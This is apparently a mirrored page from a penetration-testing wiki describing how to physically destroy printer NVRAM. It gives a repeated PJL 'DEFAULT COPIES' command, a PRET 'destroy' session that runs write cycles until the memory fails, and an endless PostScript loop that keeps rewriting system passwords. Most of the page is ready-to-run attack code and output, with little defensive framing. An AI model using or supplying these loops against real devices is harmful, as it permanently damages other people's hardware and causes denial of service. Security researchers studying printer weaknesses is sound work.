mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 04:53:39 +00:00
45 lines
2.1 KiB
Markdown
45 lines
2.1 KiB
Markdown
# Physical Damage
|
|
|
|
 Long-term settings for printers and other embedded devices are stored in non-volatile memory ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory)) which is traditionally implemented either as [EEPROM](https://en.wikipedia.org/wiki/EEPROM) or as [flash memory](https://en.wikipedia.org/wiki/Flash\_memory). Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur.
|
|
|
|
### PJL
|
|
|
|
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for `X`:
|
|
|
|
```
|
|
@PJL DEFAULT COPIES=X
|
|
```
|
|
|
|
Usually, before stop allowing writing anymore NVRAM parameters are fixed to the factory default value and all variables could still be changed for the current print job using the `@PJL SET...` command.
|
|
|
|
Using [PRET](https://github.com/RUB-NDS/PRET):
|
|
|
|
```
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> destroy
|
|
Warning: This command tries to cause physical damage to the
|
|
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
|
|
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
|
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
|
|
[... wait for about 24 hours ...]
|
|
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
|
|
NVRAM died after 543894 cycles, 18:46:11
|
|
```
|
|
|
|
### PostScript
|
|
|
|
For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password.\
|
|
PostScript can run a script that corrupts its own NVRAM:
|
|
|
|
```
|
|
/counter 0 def
|
|
{ << /Password counter 16 string cvs
|
|
/SystemParamsPassword counter 1 add 16 string cvs
|
|
>> setsystemparams /counter counter 1 add def
|
|
} loop
|
|
```
|
|
|
|
**More information about these techniques can be found in** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage)****
|